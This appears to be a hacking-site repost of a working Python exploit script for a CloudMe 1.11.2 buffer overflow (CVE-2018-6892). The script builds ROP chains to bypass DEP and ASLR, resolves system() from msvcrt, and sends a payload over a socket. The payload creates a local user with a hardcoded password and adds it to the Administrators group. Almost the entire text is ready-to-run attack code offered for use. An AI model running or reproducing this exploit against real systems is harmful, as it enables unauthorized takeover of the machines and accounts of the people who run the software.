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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow ROP (DEP,ASLR)
# Exploit Author:  Bobby Cooke (boku)
# CVE:             CVE-2018-6892
# Date: 2020-09-29
# Vendor Homepage: https://www.cloudme.com/
# Software Link:   https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version:         1.11.2
# Tested On:       Windows 10 (x64) - 10.0.19041 Build 19041
# Script:          Python 2.7
# Notes:
#   This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the 
#   Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be 
#   running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required 
#   to create new users on the system. This exploit has been tested against multiple Windows 10 systems 
#   including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF.

# CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR)
import os,sys,socket,struct
from colorama import Fore, Back, Style

F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok   = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err  = S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
def formatMsg(STRING):
    return ok+S[3]+F[5]+STRING+S[0]
def formatErr(STRING):
    return err+S[3]+F[2]+STRING+S[0]

#   Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Modulename
#  -------------------------------------------------------------------------------------------------------
#   0x69900000 | 0x69ac1000 | False  | False   | False |  False   | False  | [Qt5Network.dll]
#   0x6eb40000 | 0x6eb64000 | False  | False   | False |  False   | False  | [libgcc_s_dw2-1.dll]
#   0x68a80000 | 0x69055000 | False  | False   | False |  False   | False  | [Qt5Core.dll]
#   0x00400000 | 0x00831000 | False  | False   | False |  False   | False  | [CloudMe.exe]
#   0x6d9c0000 | 0x6da0c000 | False  | False   | False |  False   | False  | [Qt5Sql.dll]
#   0x64b40000 | 0x64b5b000 | False  | False   | False |  False   | False  | [libwinpthread-1.dll]
#   0x66e00000 | 0x66e3d000 | False  | False   | False |  False   | False  | [Qt5Xml.dll]

def getESP_RC():
    GaDG3Tz = [
    # ESP -> EDI
    # Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP
    # Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core  68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr 
        0x68bb4678, # POP EBX # RETN [Qt5Core.dll] 
        0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory
        0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll]
        0x68D50537, # RETN - ROPNOP
        0x68D50537  # RETN - ROPNOP
    ]
    print(formatMsg("Get ESP ROP Chain built!"))
    return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def msvcrt_rop_chain():
    GaDG3Tz = [
    # HMODULE LoadLibraryA( LPCSTR lpLibFileName);
    # $ ==>    >  CALL to LoadLibraryA
    # $+4      >  FileName = "msvcrt.dll"
      # EAX = 0x512 = 1298
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFAEE, # NEG FFFFFAEE = 0x512
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EDI + EAX = End of string "msvcrt.dll"
        0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
      # EAX = 0x01
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFFF, # NEG FFFFFFfF = 0x01
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EAX = 0x0
        0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
      # ECX = 0x0
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] 
      # Terminate String "msvcrt.dll"
        0x68cee06d, # XOR ESI,ESI # RETN  [Qt5Core.dll]  (Clear ESI)
        0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
        0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
      # EAX = -0xA = 0xFFFFFFF6
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFF6, # -0xA
      # ESI = Start of string "msvcrt.dll\x00"
        0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
      # EAX = PTR LoadLibraryA (from CloudMe Import Table)
        # CloudMe Address=0081A168 Section=.idata Type=Import  (Known) Name=KERNEL32.LoadLibraryA
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EAX = kernel32.LoadLibraryA
        0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] 
      # ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00"
        0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]
      # For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP
        0x68d32800, # POP ECX # RETN [Qt5Core.dll]
        0x68D50537, # RETN - ROPNOP
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        0x6990F972, # RETN 10 [Qt5Network.dll] 
        0x68f7bc5e, # pushad # ret # [Qt5Core.dll]
      # EAX -> EBP = msvcrt.dll
        0x68cc462c  # XCHG EAX,EBP # RETN [Qt5Core.dll]
    # EBP = msvcrt.dll
   ]
    print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))
    return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def GetProc_system_rop_chain():
    GaDG3Tz = [
    # FARPROC GetProcAddress( HMODULE hModule, LPCSTR  lpProcName);
    #   $ ==>    >   CALL to GetProcAddress      # EDX (ROPNOP)
    #   $+4      >   hModule = [msvcrt]          # ECX
    #   $+8      >   ProcNameOrOrdinal  (system) # EAX
      # EAX = 0x4a2 = 1186
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EDI + EAX = End of string "system"
        0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
      # EAX = 0x01
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFFF, # NEG FFFFFFfF = 0x01
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EAX = 0x0
        0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
      # ECX = 0x0
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
      # Terminate String "system"
        0x68cee06d, # XOR ESI,ESI # RETN  [Qt5Core.dll]  (Clear ESI)
        0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
        0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
      # EAX = -0x6 = 0xFFFFFFFA
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFFA, # -0x6
      # ESI = Start of string "system\x00"
        0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
        0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets) 
      # EAX = PTR GetProcAddr (from CloudMe Import Table)
        # CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
        0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] 
        0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
        # ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll 
      # For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP
        # EBP -> EAX = msvcrt.dll
        0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll]
        # ECX=&msvcrt.dll # EAX=["system\x00"]
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
        # EDX=ROPNOP
        0x68f94685, # POP EDX # RETN [Qt5Core.dll]
        0x68D50537, # RETN - ROPNOP
        # EDI=FarRETN
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        0x699010B4, # ret 0C [Qt5Network.dll] 
                    #    KERNEL32.GetProcAddress      [ESI pushed to stack]
                    #                                 [EBP pushed to stack]
                    #                                 [ESP pushed to stack]
                    #                                 [EBX pushed to stack]
# land after ret 0xC ->  Qt5Core.68D50537 (ROPNOP)    [EDX pushed to stack]
                    #    MSVCRT.75F60000              [ECX pushed to stack]
                    #    ASCII "system"               [EAX pushed to stack]
        0X68f7bc5e, # pushad # ret # [Qt5Core.dll]
        0x68b1df17  # XCHG EAX,EDX # RETN # [Qt5Core.dll]
    # EDX = msvcrt.system
   ]
    print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))
    return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def addUsr_rop_chain():
    GaDG3Tz = [
    # int system( const char *command);
    # $ ==>    > CALL to system
    # $+4      > command = "net user boku 0v3R9000! /add"
      # EAX = 0x438 = 1080 
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EDI + EAX = End of string "net user..."
        0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
      # EAX = 0x01
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFFF, # NEG FFFFFFfF = 0x01
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EAX = 0x0
        0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
      # ECX = 0x0
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
      # Terminate String "net user..."
        0x68cee06d, # XOR ESI,ESI # RETN  [Qt5Core.dll]  (Clear ESI)
        0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
        0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
      # EAX = -28 = -0x1C = 0xFFFFFFE4
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFE4, #  -28 = -0x1C
      # ESI = Start of string "net user...\x00"
        0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
        # EDX = MSVCRT.system # ECX=0x0
      # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET
        0x68d32800, # POP ECX # RETN [Qt5Core.dll]
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        # ESI = MSVCRT.system # EAX = ["net user.."]
        0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
        0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
        # EDI=FarRETN
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        0x6990F972, # RETN 10 [Qt5Network.dll] 
        # PUSHAD - Setup Call to MSVCRT.system on stack
        0X68f7bc5e  # pushad # ret # [Qt5Core.dll]
   ]
    print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))
    return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
 
def addAdm_rop_chain():
    GaDG3Tz = [
    # ESI = msvcrt.system
        # ESI -> EDX
        0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
        0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
      # EAX = 0x3F7 
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EDI + EAX = End of string "net local..."
        0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
      # EAX = 0x01
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFFF, # NEG FFFFFFfF = 0x01
        0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
      # EAX = 0x0
        0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
      # ECX = 0x0
        0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
      # Terminate String "net local..."
        0x68cee06d, # XOR ESI,ESI # RETN  [Qt5Core.dll]  (Clear ESI)
        0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
        0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
      # EAX = -39 = -0x27 = 0xFFFFFFE4
        0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
        0xFFFFFFD9, #  -39 = -0x27
      # ESI = Start of string "net local...\x00"
        0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
        # EDX = MSVCRT.system # ECX=0x0
      # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP
        0x68d32800, # POP ECX # RETN [Qt5Core.dll]
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        # ESI = MSVCRT.system # EAX = ["net local.."]
        0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
        0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
        # EDI=FarRETN
        0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
        0x6990F972, # RETN 10 [Qt5Network.dll] 
        # PUSHAD - Setup Call to MSVCRT.system on stack
        0X68f7bc5e  # pushad # ret # [Qt5Core.dll]
   ]
    print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))
    return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
 
def sendRecv(s,p):
    print(formatMsg("Sending payload: "))
    print(S[3]+F[7]+payload+S[0])
    s.send(p)
    data = s.recv(1024)
    return data

def header():
    head = S[3]+F[2]+'               --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]
    return head
 
def sig():
    SIG  = S[3]+F[4]+"                 .-----.._       ,--.\n"
    SIG += F[4]+"                 |  ..    >  ___ |  | .--.\n"
    SIG += F[4]+"                 |  |.'  ,'-'"+F[2]+"* *"+F[4]+"'-. |/  /__   __\n"
    SIG += F[4]+"                 |      </ "+F[2]+"*  *  *"+F[4]+" \   /   \\/   \\\n"
    SIG += F[4]+"                 |  |>   )  "+F[2]+" * *"+F[4]+"   /    \\        \\\n"
    SIG += F[4]+"                 |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += F[4]+"                     _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
    return SIG

def footer():
    foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')
    return foot

if __name__ == "__main__":
    print(header())
    print(sig())
    print(footer())
    if len(sys.argv) != 3:
        print(formatErr("Usage:   python %s <IP> <PORT>" % sys.argv[0]))
        print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))
        sys.exit(-1)
    host   = sys.argv[1]
    port = int(sys.argv[2])

    rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()

    os_EIP  = '\41'*1052
    os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))
    nSEH    = '\x42'*4
    SEH     = '\x43'*4
    buff    = os_EIP + rop_chain + os_nSEH + nSEH + SEH

    term   = '\r\n'
    kern32 = 'msvcrt.dll'+'AAAAAA'
    winExe = 'system'+'BBBBBB'
    addUsr = 'net user boku 0v3R9000! /add'+'CCCC'
    addAdm = 'net localgroup Administrators boku /add'+'DDDD'
    rmdr   = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))
    payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host,port))
        print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))
        resp = sendRecv(sock,payload)
        print(formatMsg("Closing Socket"))
        sock.close()
        print(formatErr("Exiting python script."))
    except:
        print(formatErr("Failed to connect and send payload."))